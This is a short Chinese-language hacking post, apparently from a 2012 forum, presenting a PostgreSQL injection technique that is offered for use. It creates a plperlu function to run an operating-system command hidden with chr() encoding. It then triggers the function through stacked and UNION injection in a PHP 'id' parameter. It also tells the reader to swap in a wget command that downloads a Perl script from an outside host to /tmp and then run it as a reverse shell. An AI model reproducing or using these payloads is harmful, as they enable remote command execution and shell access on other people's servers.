postgresql "初级"注入大法

s4msung (sb#163.net) | 2012-11-12 19:29

CREATE FUNCTION id() RETURNS text AS $aaa$open(FD,chr(108).chr(105).chr(32).chr(124));return join(chr(0),<FD>);$aaa$ LANGUAGE plperlu;

select id();

id()为创建函数名,可以自定义随便写

chr(108).chr(105)是需要执行的命令id的asc编码

自己把需要执行的命令换成chr替换就行了,具体就是wget http://les.la/c.pl -O /tmp/c.pl  

删除函数为drop function id(); 然后再执行此反弹shell的命令

此大法可对付一切8.0以上的版本(含8.0)

以下为实际注入时的表现形式

xxx.php?id=10;CREATE FUNCTION id() RETURNS text AS $aaa$open(FD,chr(108).chr(105).chr(32).chr(124));return join(chr(0),<FD>);$aaa$ LANGUAGE plperlu;--

xxx.php?id=10 and 1=2 union select null,null,null,id(),null,null,null,null--

ppp.jpg